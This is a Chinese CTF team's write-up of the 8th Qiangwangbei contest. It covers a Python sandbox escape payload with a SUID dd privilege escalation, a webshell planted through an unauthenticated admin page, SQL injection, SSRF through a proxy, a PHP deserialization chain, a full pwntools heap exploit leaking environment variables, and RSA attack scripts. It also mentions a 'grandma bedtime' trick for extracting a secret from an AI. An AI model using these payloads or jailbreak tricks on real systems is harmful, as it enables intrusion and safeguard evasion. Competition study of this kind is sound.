第八届强网杯全国网络安全挑战赛 WriteUp

文摘   2024-11-05 12:15   安徽  

我们新点击蓝字

关注我们



声明

本文作者:CTF战队

本文字数:47064字

阅读时长:约60分钟

附件/链接:点击查看原文下载

本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


团队每周会报名参加各类CTF比赛,writeup在公众号更新。

我们建立了一个关于CTF的公开交流群,大家赛后可以交流技巧思路。



第八届强网杯全国网络安全挑战赛

https://www.qiangwangbei.com

WEB

积木编程

https://pan.baidu.com/s/1YoJN0_he15aY2A-IYLgn1A 提取码(GAME)

from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json

app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False

blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"

def module_exists(module_name):

    spec = importlib.util.find_spec(module_name)
    if spec is None:
        return False

    if module_name in sys.builtin_module_names:
        return True
    
    if spec.origin:
        std_lib_path = os.path.dirname(os.__file__)
        
        if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
            return True
    return False

def verify_secure(m):
    for node in ast.walk(m):
        match type(node):
            case ast.Import:  
                print("ERROR: Banned module ")
                return False
            case ast.ImportFrom: 
                print(f"ERROR: Banned module {node.module}")
                return False
    return True

def check_for_blacklisted_symbols(input_text):
    if re.search(blacklist_pattern, input_text):
        return True
    else:
        return False



def block_to_python(block):
    block_type = block['type']
    code = ''
    
    if block_type == 'print':
        text_block = block['inputs']['TEXT']['block']
        text = block_to_python(text_block)  
        code = f"print({text})"
           
    elif block_type == 'math_number':
        
        if str(block['fields']['NUM']).isdigit():      
            code =  int(block['fields']['NUM']) 
        else:
            code = ''
    elif block_type == 'text':
        if check_for_blacklisted_symbols(block['fields']['TEXT']):
            code = ''
        else:
        
            code =  "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
    elif block_type == 'max':
        
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)  
        b = block_to_python(b_block)
        code =  f"max({a}{b})"

    elif block_type == 'min':
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)
        b = block_to_python(b_block)
        code =  f"min({a}{b})"

    if 'next' in block:
        
        block = block['next']['block']
        
        code +="\n" + block_to_python(block)+ "\n"
    else:
        return code 
    return code

def json_to_python(blockly_data):
    block = blockly_data['blocks']['blocks'][0]

    python_code = ""
    python_code += block_to_python(block) + "\n"

        
    return python_code

def do(source_code):
    hook_code = '''
def my_audit_hook(event_name, arg):
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

'''

    print(source_code)
    code = hook_code + source_code
    tree = compile(source_code, "run.py"'exec', flags=ast.PyCF_ONLY_AST)
    try:
        if verify_secure(tree):  
            with open("run.py"'w'as f:
                f.write(code)        
            result = subprocess.run(['python''run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
            os.remove('run.py')
            return result
        else:
            return "Execution aborted due to security concerns."
    except:
        os.remove('run.py')
        return "Timeout!"

@app.route('/')
def index():
    return app.send_static_file('index.html')

@app.route('/blockly_json', methods=['POST'])
def blockly_json():
    blockly_data = request.get_data()
    print(type(blockly_data))
    blockly_data = json.loads(blockly_data.decode('utf-8'))
    print(blockly_data)
    try:
        python_code = json_to_python(blockly_data)
        return do(python_code)
    except Exception as e:
        return jsonify({"error""Error generating Python code""details": str(e)})
    
if __name__ == '__main__':
    app.run(host = '0.0.0.0')

全角字符可绕过

{
  "blocks": {
    "blocks": [
      {
        "type""print",
        "id""print1",
        "inputs": {
          "TEXT": {
            "block": {
              "type""text",
              "id""text1",
              "fields": {
                "TEXT""s"')\nprint(open("/etc/passwd", "r").read())\n#"
              }
            }
          }
        }
      }
    ]
  }
}

这里只能读取文件,没有读取/flag的权限\n

hook 函数中,对event_name 长度进行了限制

def my_audit_hook(event_name, arg):
    # print(f"[+]{event_name},{arg}")
    blacklist = ["popen""input""eval""exec""compile""memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")

可以看到,这里使用了len函数判断长度是否大于4。我们可以通过重写len函数,让它稳定返回3,就可以绕过第一层长度的过滤

__builtins__.len = lambda x: 3\nprint(len('aaaaa'))

可以看到len函数返回3

随后,我们使用类似于SSTI的payload获取os.system

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

可以在绕过了event name长度限制后拿到os.system

将二者拼在一起转化成全角字符使用即可执行命令,接下来开始提权读取文件

payload:

{
  "blocks": {
    "blocks": [
      {
        "type""print",
        "id""print1",
        "inputs": {
          "TEXT": {
            "block": {
              "type""text",
              "id""text1",
 "fields": {
                "TEXT""s"')\n__builtins__.len = lambda x: 3\n[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("命令")\n#"
              }
            }
          }
        }
      }
    ]
  }
}

探测SUID文件

find / -perm -u=s -type f 2>/dev/null

发现 dd 命令具有 root 执行权限

可以通过 dd 读取 /flag 文件内容

xiaohuanxiong

题目部分admin 路由未经鉴权可直接访问

/admin/payment.html 处可以修改网站配置,写入一句话木马,使用蚁剑连接

连接后可以在根目录发现 flag 文件

snake

做题太无聊,来玩贪吃蛇~

使用脚本可以跑出来分数(欣赏图形化贪吃蛇 多跑几次就会弹出来win)

import http.client
import json
import random
import time
import pygame

# 服务器地址和端口
host = 'eci-2zedfkwha8kfivrlh22r.cloudeci1.ichunqiu.com'
port = 5000

# 定义四个可能的方向及其对应的坐标变化
DIRECTIONS = {
    'UP': (0-1),
    'DOWN': (01),
    'LEFT': (-10),
    'RIGHT': (10)
}

# 初始化Pygame
pygame.init()

# 设置窗口大小
window_size = 400
cell_size = 20
screen = pygame.display.set_mode((window_size, window_size))
pygame.display.set_caption('Snake Game')

# 定义颜色
WHITE = (255255255)
BLACK = (000)
GREEN = (02550)
RED = (25500)


def draw_snake(snake):
    for segment in snake:
        x, y = segment
        pygame.draw.rect(screen, GREEN, (x * cell_size, y * cell_size, cell_size, cell_size))


def draw_food(food):
    x, y = food
    pygame.draw.rect(screen, RED, (x * cell_size, y * cell_size, cell_size, cell_size))


def send_move(direction):
    # 创建连接
    conn = http.client.HTTPConnection(host, port)

    # 准备请求体
    payload = json.dumps({"direction": direction})

    # 设置请求头
    headers = {
        'Content-Type''application/json',
        'Accept-Language''zh-CN,zh;q=0.9',
        'User-Agent''Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36',
        'Accept''*/*',
        'Origin'f'http://{host}:{port}',
        'Referer'f'http://{host}:{port}/',
        'Accept-Encoding''gzip, deflate, br',
        'Cookie''session=eyJ1c2VybmFtZSI6InRlc3QifQ.ZyYZAQ.a_hBKR3T7JORnNazAei6qatDLQ4',
        'Connection''keep-alive'
    }

    # 发送POST请求
    conn.request("POST""/move", body=payload, headers=headers)

    # 获取响应
    response = conn.getresponse()
    data = response.read().decode('utf-8')

    # 关闭连接
    conn.close()

    return json.loads(data)


def choose_direction(snake, food, board_size=20):
    head_x, head_y = snake[0]
    food_x, food_y = food

    # 计算每个方向的得分
    scores = {}
    for direction, (dx, dy) in DIRECTIONS.items():
        new_x = head_x + dx
        new_y = head_y + dy

        # 检查是否会撞墙
        if not (0 <= new_x < board_size and 0 <= new_y < board_size):
            continue

        # 检查是否会撞到自己
        if [new_x, new_y] in snake:
            continue

        # 计算与食物的距离
        distance = abs(new_x - food_x) + abs(new_y - food_y)
        scores[direction] = distance

    # 选择距离食物最近的安全方向
    if scores:
        best_direction = min(scores, key=scores.get)
        return best_direction
    else:
        # 如果没有安全的方向靠近食物,随机选择一个安全的方向
        possible_moves = list(DIRECTIONS.keys())
        for direction, (dx, dy) in DIRECTIONS.items():
            new_x = head_x + dx
            new_y = head_y + dy
            if not (0 <= new_x < board_size and 0 <= new_y < board_size) or [new_x, new_y] in snake:
                possible_moves.remove(direction)

        if possible_moves:
            return random.choice(possible_moves)
        else:
            return None


def main():
    # 初始方向
    direction = 'RIGHT'

    while True:
        # 发送移动请求
        response = send_move(direction)

        # 打印返回的原始JSON内容
        print(response)

        # 检查游戏状态
        if response['status'] != 'ok':
            print("Game Over")
            continue

        # 更新蛇的位置和食物位置
        snake = response['snake']
        food = response['food']

        # 绘制游戏界面
        screen.fill(BLACK)
        draw_snake(snake)
        draw_food(food)
        pygame.display.flip()

        # 选择下一个方向
        direction = choose_direction(snake, food)

        # if direction is None:
        #     print("No safe moves left, Game Over")
        #     break

        # 处理事件
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                pygame.quit()
                return

        # 这里可以添加延时以减慢游戏速度,便于观察
        # time.sleep(0.5)


if __name__ == "__main__":
    main()
    pygame.quit()

跳转 /snake_win?username=test

http://eci-2zedfkwha8kfivrlh22r.cloudeci1.ichunqiu.com:5000/snake_win?username=1%27union%20select%209999,999,990009--+

有注入,但是改成绩没有用,数据库中没有flag,sqlite

最后肝到半夜发现是居然是SSTI!

platform

任何人都能登录的平台

输入任何内容都可以登录,php的,输入的用户名会显示在页面上

源码 www.zip

通过替换字符进行逃逸控制反序列化的内容来执行命令

proxy

Proxy what you want

附件下载 提取码(GAME)备用下载

package main

import (
    "bytes"
    "io"
    "net/http"
    "os/exec"

    "github.com/gin-gonic/gin"
)

type ProxyRequest struct {
    URL             string            `json:"url" binding:"required"`
    Method          string            `json:"method" binding:"required"`
    Body            string            `json:"body"`
    Headers         map[string]string `json:"headers"`
    FollowRedirects bool              `json:"follow_redirects"`
}

func main() {
    r := gin.Default()

    v1 := r.Group("/v1")
    {
        v1.POST("/api/flag"func(c *gin.Context) {
            cmd := exec.Command("/readflag")
            flag, err := cmd.CombinedOutput()
            if err != nil {
                c.JSON(http.StatusInternalServerError, gin.H{"status""error""message""Internal Server Error"})
                return
            }
            c.JSON(http.StatusOK, gin.H{"flag": flag})
        })
    }

    v2 := r.Group("/v2")
    {
        v2.POST("/api/proxy"func(c *gin.Context) {
            var proxyRequest ProxyRequest
            if err := c.ShouldBindJSON(&proxyRequest); err != nil {
                c.JSON(http.StatusBadRequest, gin.H{"status""error""message""Invalid request"})
                return
            }

            client := &http.Client{
                CheckRedirect: func(req *http.Request, via []*http.Request) error {
                    if !req.URL.IsAbs() {
                        return http.ErrUseLastResponse
                    }

                    if !proxyRequest.FollowRedirects {
                        return http.ErrUseLastResponse
                    }

                    return nil
                },
            }

            req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
            if err != nil {
                c.JSON(http.StatusInternalServerError, gin.H{"status""error""message""Internal Server Error"})
                return
            }

            for key, value := range proxyRequest.Headers {
                req.Header.Set(key, value)
            }

            resp, err := client.Do(req)

            if err != nil {
                c.JSON(http.StatusInternalServerError, gin.H{"status""error""message""Internal Server Error"})
                return
            }

            defer resp.Body.Close()

            body, err := io.ReadAll(resp.Body)
            if err != nil {
                c.JSON(http.StatusInternalServerError, gin.H{"status""error""message""Internal Server Error"})
                return
            }

            c.Status(resp.StatusCode)
            for key, value := range resp.Header {
                c.Header(key, value[0])
            }

            c.Writer.Write(body)
            c.Abort()
        })
    }

    r.Run("127.0.0.1:8769")
}

发现v1接口无法直接访问,可以用v2proxy做个代理,构造个json请求包

POST /v2/api/proxy HTTP/1.1
Host: 123.56.219.14:28704
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 104

{
"url": "http://127.0.0.1:8769/v1/api/flag",
"method": "POST",
"follow_redirects": true
}

base64解密即可

Password Game

四个限制,要有数字字母,数字和要为一个数的倍数,一个算式结果要出现在字符串中,长度小于一个数,然后就可以得到部分代码,其中包含各种类和主逻辑

function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}
class guest{
    public $username;
    public $value;
    public function __tostring(){
        if($this->username=="guest"){
            $value();
        }
        return $this->username;
    }
    public function __call($key,$value){
        if($this->username==md5($GLOBALS["flag"])){
            echo $GLOBALS["flag"];
        }
    }
}
class root{
    public $username;
    public $value;
    public function __get($key){
        if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
            $this->value = $GLOBALS["flag"];
            echo md5("hello:".$this->value);
        }
    }
}
class user{
    public $username;
    public $password;
    public $value;
    public function __invoke(){
        $this->username=md5($GLOBALS["flag"]);
        return $this->password->guess();
    }
    public function __destruct(){
        if(strpos($this->username, "admin") == 0 ){
            echo "hello".$this->username;
        }
    }
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
    echo "hello!";
}

显然要找一条链子触发反序列化,刚开始定向思维的想user::destruct=>guest::toString=>user::__invoke接着往下走,但是toString里是$value而不是$this->value,这玩意就变成不可控了。

可以看到除了反序列化外,下面还有字符串比较的操作,里面对反序列化出来的$userusernamepassword变量,可以看到root类中是没有password的,且存在__get方法,那么就可以从这里做开头,从root::get开始去修改$this->value为flag,然后通过引用设置user→username为root→value,接着触发user::destruct输出flag

<?php

function sum($a){
    $su = 0;
    for($i=0; $i < strlen($a); $i++){
        if(is_numeric($a[$i])){
            $su += $a[$i];
        }
    }
    return $su;
}

function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}
class guest{
    public $username;
    public $value;
}
class root{
    public $username;
    public $value;
    public $kk;
}
class user{
    public $username;
    public $password;
    public $value;
}


$x = new root();
$x->username = "akaka";
$x->value = 2024;
$x->kk = new user();
$x->kk->username = &$x->value;
$x->kk->value = "6007675";

echo (26 * 4)."\n";
echo (60101 - 25)."\n";
$ser = serialize($x);
echo $ser."\n";
echo sum($ser)."\n";
echo strlen($ser)."\n";

Pwn

baby_heap

[*] '/local/ctf/qwbs8/baby_heap/pwn'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

沙箱,这没禁用 execveat,可以用这个打哈

 line  CODE  JT   JF      K
=================================
 00000x20 0x00 0x00 0x00000004  A = arch
 00010x15 0x00 0x07 0xc000003e  if (A != ARCH_X86_64) goto 0009
 00020x20 0x00 0x00 0x00000000  A = sys_number
 00030x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 00040x15 0x00 0x04 0xffffffff  if (A != 0xffffffff) goto 0009
 00050x15 0x03 0x00 0x00000002  if (A == open) goto 0009
 00060x15 0x02 0x00 0x0000003b  if (A == execve) goto 0009
 00070x15 0x01 0x00 0x00000101  if (A == openat) goto 0009
 00080x06 0x00 0x00 0x7fff0000  return ALLOW
 00090x06 0x00 0x00 0x00000000  return KILL

GLIBC 2.35 先整个环境

GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.7) stable release version 2.35.

下个 docker 先

docker pull roderickchan/debug_pwn_env:22.04-2.35-0ubuntu3.7-20240421
  • add 功能:堆块要大于 0x500,基本是 largebin 或者 mmap
  • delete 功能:没有 check,可以多次 free 同一块地址
  • edit 功能:只能用一次,下标在范围内就能修改,不检查是否释放
  • show 功能:只能用一次
  • 有两个隐藏功能,一个对env操作,一个可以在任意地址写16个字节,都只能使用一次;该隐藏功能有限制,只能写 libc 段和后面的段,且在 libc 段中,只能写 _IO_2_1_stdin 之前的地址

应该是非预期了,找了个 got 表链子,直接泄漏环境变量

putenv 能触发如下链子

  • __strncmp_avx2(const char *__s1, const char *__s2, size_t __n)
    • __s1:等于 **environ
    • __s2:等于 putenv 所操作的环境变量名称,不包括等号和内容
    • __n:等于 putenv 所操作的环境变量名称长度

将其直接改为 printf 泄漏环境变量,一般动态 flag 都依靠环境变量生成,这里直接获取环境变量即可

exp 如下

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("-m""--mode", required=True, choices=["d""debug""r""remote"])
args = parser.parse_args()

context(arch="amd64", endian='el', os="linux", terminal=["tmux""splitw""-h"])
context.log_level = "debug"

if args.mode in ["d""debug"]:
    p = process('./pwn')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('39.106.54.211'30821)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
chall = ELF('./pwn', checksec=False)


def add(_size):
    p.sendlineafter(b'Enter your choice: 'b'1')
    p.sendlineafter(b'Enter your commodity size \n', str(_size).encode())


def delete(_idx):
    p.sendlineafter(b'Enter your choice: 'b'2')
    p.sendlineafter(b'Enter which to delete: \n', str(_idx).encode())


def edit(_idx, _ctx):
    p.sendlineafter(b'Enter your choice: 'b'3')
    p.sendlineafter(b'Enter which to edit: \n', str(_idx).encode())
    p.sendlineafter(b'Input the content \n', str(_ctx).encode())


def show(_idx):
    p.sendlineafter(b'Enter your choice: 'b'4')
    p.sendlineafter(b'Enter which to show: \n', str(_idx).encode())
    p.recvuntil(b'The content is here \n')
    return p.recvuntil(b'Menu:\n')[:-6]


def secret():
    p.sendlineafter(b'Enter your choice: 'b'5')
    p.sendlineafter(b'Maybe you will be sad !\n'b'2')


def oooo(_addr, _ctx):
    p.sendlineafter(b'Enter your choice: 'b'10')
    p.sendafter(b'Input your target addr \n', _addr)
    p.send(_ctx)
    



add(0x628)
add(0x618)
add(0x638)
add(0x618)
# gdb.attach(p, 'brva 0x1D23\nb getenv\nb setenv\nb putenv\nc')
delete(1)
libc.address = u64(show(1)[:8]) + 0x9c0 - libc.sym['_IO_2_1_stderr_']
success("libc.address = " + hex(libc.address))
libc_got_strlen = libc.address + 0x21a118
libc_setcontext = libc.address + 0x539e0
oooo(p64(libc_got_strlen), p64(libc.sym["printf"]))
secret()
p.interactive()

flag{648fed8f-4c88-4f72-a855-ad444999afbc}

Misc

givemesecret

Can you extract the flag from the AI? 请访问 http://ip:port

奶奶哄睡战术~

Master of OSINT

本题以百度地图选取的经纬度为准。

这是一个街景挑战,你需要找到提供的街景图片拍摄所在的具体位置。然后在题目页面点击 send 按钮,弹出对话框并输入该位置的经纬度,格式为 longitude,latitude。

当精度达到要求时,即认为你找到了这个地点。总共有 10 个地点,找到其中 9 个即可通过本题。

提交的经纬度应符合 ^-?(\d1,2}1[0-7]\d|180)(.\d{1,6)?,-?(\d|[1-8]\d|90)(.\d{1,6})?$ 。例如,如果地点为「东方明珠广播电视塔」,那么你可以提交 121.506379,31.245414。

特别注明:请不要攻击本题目的平台,这是违反规则的。

图片中有个风车,附近应该有个风力发电站,搜索风车后,找到一个相似的,是上海崇明长兴风力发电

https://m.weibo.cn/status/DCujLoGq9?from=page_1005055335640503_profile&wvr=6&mod=weibotime&jumpfrom=weibocom

然后在百度地图上找到与之相同的地点

图中的两种路灯+栅栏,可以初步认为这是在江浙。然后通过谷歌识图找到报恩寺塔,最终在百度全景地图锁定内环南线

118.782063,32.013663

首先判断拍摄所处位置应该是在立交或者高速上,再通过上方的那个栅栏,可初步猜测是在杭州。同时因为其宽度并不宽,且看不到收尾,那么上边的不是立交,只可能是铁路或者轻轨,再加上上方路段两旁的应该是高压线,从宽度和接触网来看感觉不似高铁,更像是轻轨线路。下方有许多空调外机,应该是横跨建筑群。右边有个IKEA(宜家)。那就在百度地图上找高铁和立交交错,且附近有宜家的地方,最终锁定杭州绕城高速和9号线交错的地方

120.293219,30.34633

长沙橘子洲大桥

112.967691,28.201726

左边有个宏泰百货,右边高架立柱能看清一个三局,正中间高架上写着"中铁三局集团携手促进浙江经济发展",由于高架上均有高压接触网,那么可以猜测这里至少有三条铁路线交错,很有可能附近还有个高铁站。从浙江铁路网入手,最终锁定杭州南站附近的南秀路

观察图片,图中应该是有水,猜测是湖,且湖和红色屋顶房子在同一边,道路两边分别有黄色和红色的标识物。然后谷歌识图搜到青海湖,通过百度地图在倒湖茶公路上找到那个红色屋顶的小房子。

搜索桥梁图片,应该找到一个很像的,然后点进原文http://mt.sohu.com/20171228/n526620921.shtml,但原文中出现的大桥均不是图片中的,然后逐一查看武汉的长江大桥,发现了天兴洲长江大桥和图片中一模一样。

114.413085,30.659759

图中有个百安居,且旁边应该是一个购物商场之类的,同时观察路灯,猜测这是在上海,最后在龙阳路找到了

右边远处是一个机场的塔台,岔路口对面应该是一个中国航油的加油站,但是是白色的顶?在民航局查询运输机场,然后发现是成都双流国际机场旁边机场东三路。图中的加油站应该是没修好,百度地图上有这个建筑物,但没有显示名称。

百度搜图搜出来一张很像图片,是重庆谢家湾立交

图片原文链接http://mt.sohu.com/20161016/n470410292.shtml

106.524402,29.526177

一 99.974383,36.66725

二 121.567039,31.211279

三 103.966657,30.571185

四 120.293197,30.346334

五 106.524114,29.52509

六 118.783635,32.013335

七 112.969521,28.201853

八 121.734859,31.412815

九 114.412567,30.661017

十 120.308631,30.152785

谍影重重5

题目内容:

我国某部门已经连续三年对间谍张纪星进行秘密监控,最近其网络流量突然出现大量的神秘数据,为防止其向境外传送我国机密数据,我们已将其流量保存,请你协助我们分析其传输的秘密信息。

附件下载 提取码(GAME)备用下载

根据这个文章爆破密码

https://www.secpulse.com/archives/106276.html\n

解密smb流

导出所有对象 两个证书 一个flag.7z

找到如下文章

https://bbs.kanxue.com/thread-255173.htm

用密码mimikatz导出密钥

解开rdp协议\n

参考链接

https://res260.medium.com/ihack-2020-monster-inc-the-middle-rdp-network-forensics-writeup-91e2fb0f4287

重放获得密码解密flag.7z  babygirl2339347013182

Reverse

mips

虚拟机逆向,下载下来qemu跑 有假opcode 出假flag

flag{reverse_dynamic} 

真flag实际上藏在/emu的加密逻辑里。我i们可以看到大概有两段加密逻辑

一段RC4,一段抑或与位移的混合加密。分别在地址0x3DE7A9和0x33D8E0

在0x33D8E0藏着一段RC4的加密

手动去除花指令

花指令去除后得到

可以看到是魔改的RC4。这里拿到S盒和KEY以后接着往后看。

从0x3DE801可以看到有一段"flag{"头的格式校验

xref 往回看,去除花指令后这里实际上藏着两段加密

可以看到,此处是一个抑或加密加一次位移

位移加密显而易见,可以直接看到逻辑是将data中的7和11互换,12和16互换。(func_swap)

抑或这里不是很好看,但是因为是单数字抑或所以可以爆破

编写解密脚本,解出(RC4解密直接找GPT写)

# 定义RC4加密函数
def rc4_decode(data, key):
    # 初始化S数组
    S = list(range(256))
    j = 0
    # 混淆S数组
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0
    out = []
    for t in range(len(data)):
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        # 应用RC4加密
        data[t] ^= S[(S[i] + S[j]) % 256]^ keyb[t & 3] # 这里小小魔改了
        
        # 应用额外的位操作来混淆数据
        data[t] = (((data[t] << 5) | (data[t] >> 3)) ^ 0xDE) & 0xFF
        data[t] = (((data[t] << 4) | (data[t] >> 4)) ^ 0xAD) & 0xFF
        data[t] = (((data[t] << 3) | (data[t] >> 5)) ^ 0xBE) & 0xFF
        data[t] = ((((data[t] ^ 0x3B) << 2) | ((data[t] ^ 0xC0) >> 6))) & 0xFF
        data[t] = ((data[t] << 1) | (data[t] >> 7)) & 0xFF
        
        out.append(data[t])
    return out

# 数据和密钥
data = [0xC40xEE0x3C0xBB0xE70xFD0x670x1D0xF80x970x680x9D0xB0x7F0xC70x800xDF0xF90x4B0xA00x460x91]
keyb = [0xDE0xAD0xBE0xEF]
key = '6105t3'.encode()  # 将字符串密钥转换为字节
# 交换data数组中的某些元素
data[12], data[16] = data[16], data[12]
data[7], data[11] = data[11], data[7]

# 执行RC4加密
dec = rc4_decode(data, key)

# 爆破异或值
for i in range(1100):
    a = ''.join([chr(x ^ i) for x in dec ])
    if a.isascii() and '}' in a:
        print(a)

输出

QeMu_r3v3rs3in9_h@ck6}
^jBzP}<y<}|<fa6PgOld9r
_kC{Q|=x=|}=g`7QfNme8s
YmE}Wz;~;z{;af1W`Hkc>
u
ZnF~Ty8}8yx8be2TcKh`=v
DpX`Jg&c&gf&|{,J}Uv~#h
EqYaKf'b'fg'}z-K|Tw"i
Gs[cId%`%de%x/I~Vu} k
Bv^fLa e a` z}*L{Spx%n
O{SkAl-h-lm-wp'Av^}u(c
I}UmGj+n+jk+qv!GpX{s.e
sGoW}PTPQKLJbAI_
}IaYs^Z^_EBsDlOGQ
aU}EoBFBCY^  oXpS[M
lXpHbOKONTSbU}^V
@
!      1w2w67w-*}9
+;<}8}<=}w&-%x3
.>
9x=x98x"%r#
( }6

显然第一个是flag(没有flag头)

flag{QeMu_r3v3rs3in9_h@ck6}

Crypto

EasyRSA

easy的RSA。

https://pan.baidu.com/s/1oqmNif9L3zaGgJMNvrlckQ 提取码(GAME)

#encoding:utf-8
from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime
import random, gmpy2

class RSAEncryptor:
    def __init__(self):
        self.g = self.a = self.b = 0
        self.e = 65537
        self.factorGen()
        self.product()

    def factorGen(self):
        while True:
            self.g = getPrime(500)
            while not gmpy2.is_prime(2*self.g*self.a+1):
                self.a = random.randint(2**5232**524)
            while not gmpy2.is_prime(2*self.g*self.b+1):
                self.b = random.randint(2**5232**524)
            self.h = 2*self.g*self.a*self.b+self.a+self.b
            if gmpy2.is_prime(self.h):
                self.N = 2*self.h*self.g+1
                print(len(bin(self.N)))
                return

    def encrypt(self, msg):
        return gmpy2.powmod(msg, self.e, self.N)


    def product(self):
        with open('/flag''rb'as f:
            self.flag = f.read()
        self.enc = self.encrypt(self.flag)
        self.show()
        print(f'enc={self.enc}')

    def show(self):
        print(f"N={self.N}")
        print(f"e={self.e}")
        print(f"g={self.g}")


RSAEncryptor()

参考https://hasegawaazusa.github.io/common-prime-rsa.html#%E7%94%9F%E6%88%90%E7%AE%97%E6%B3%95

from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime
import random, gmpy2
N=68181737436076529224562801475664297421729354212384041118703553655862954054390604345710204499672389859306230171439336751620692051642891341227511379742159778551509301729325926212030040953445232196672875614781992761633486842422763277359149614042100859799287161072975734377155654677838861451658435279911613496030174632772094600976623289395051692814762337022334904693262714503157142625354019950324235481018728283797128366923672374929302811892040002045357581088454106853192632046865605032932353925106145687276613086609216472031735150281366585771571092053452303427609476066826071699082450442010727647542422591413685012991847
e=65537
g=2727446902919970141730604198759853937077025270972540761838813887361413426265374291573543190662905624555591260123009922278536283328614119860275108794191
enc=22861546506055135213358174312554646492187230381898758188877170608117485697823358493902656822896995774774583447870634616151878506893600307136194448466391765676766649364517016807954203559422855990414639527101844069106007405310915954983002225014275471201621305566277481389231026040692035284000924899379960675354638203176299281188958081732877418895852360509500030058881789441137950812074377976972980617402981583206439462939115804475740461147572369766349241970070299606353350638491580474229665228427437979284493336214816411172283734295612780839157029963764634374109413111316530398201103686311906828987763255882793136411901
nbits = 2048
gamma = 0.244
cbits = ceil(nbits * (0.5 - 2 * gamma))

M = (N - 1// (2 * g)
u = M // (2 * g)
v = M - 2 * g * u
GF = Zmod(N)
x = GF.random_element()
y = x ^ (2 * g)
# c的范围大概与N^(0.5-2*gamma)很接近
c = bsgs(y, y ^ u, (Integer(2**(cbits-1)), Integer(2**(cbits+1))))
ab = u - c
apb = v + 2 * g * c
P.<x> = ZZ[]
f = x ^ 2 - apb * x + ab
a = f.roots()
if a:
    a, b = a[0][0], a[1][0]
    p = 2 * g * a + 1
    q = 2 * g * b + 1
    assert p * q == N
    d=gmpy2.invert(65537,(p-1)*(q-1))
    m=pow(enc,d,N)
    print(long_to_bytes(m))
#flag{819fbbea-be48-405b-8d63-d2e1ed26ddcb}

apbq

第一部分给了p+q,直接解方程组解pq,然后解rsa即可

from Crypto.Util.number import *
hints = 18978581186415161964839647137704633944599150543420658500585655372831779670338724440572792208984183863860898382564328183868786589851370156024615630835636170
public_key = (8983908445061805500790027773674131264184477059134643258330297523609746506857244558938579882259388926643056303964533503706124010168843307871781159037768646597379765835598471721022873979374148466662834203912734585546774824748501613356072906390139697378375478004894970919533469039521711233058543165387252332558965537)
enc1 = 23664702267463524872340419776983638860234156620934868573173546937679196743146691156369928738109129704387312263842088573122121751421709842579634121187349747424486233111885687289480494785285701709040663052248336541918235910988178207506008430080621354232140617853327942136965075461701008744432418773880574136247
var("p q")
# solve([p+q==hints,p*q==public_key[0]],[p,q])
p=9944868810114216202051445555036732697046288141145767567362511367574668195172230525918426361043964814581009916352403620781997665604176512356634685730213779
q=9033712376300945762788201582667901247552862402274890933223144005257111475166493914654365847940219049279888466211924563086788924247193643667980945105422391
d=gmpy2.invert(65537,(p-1)*(q-1))
m=pow(enc1,d,public_key[0])
print(long_to_bytes(m))
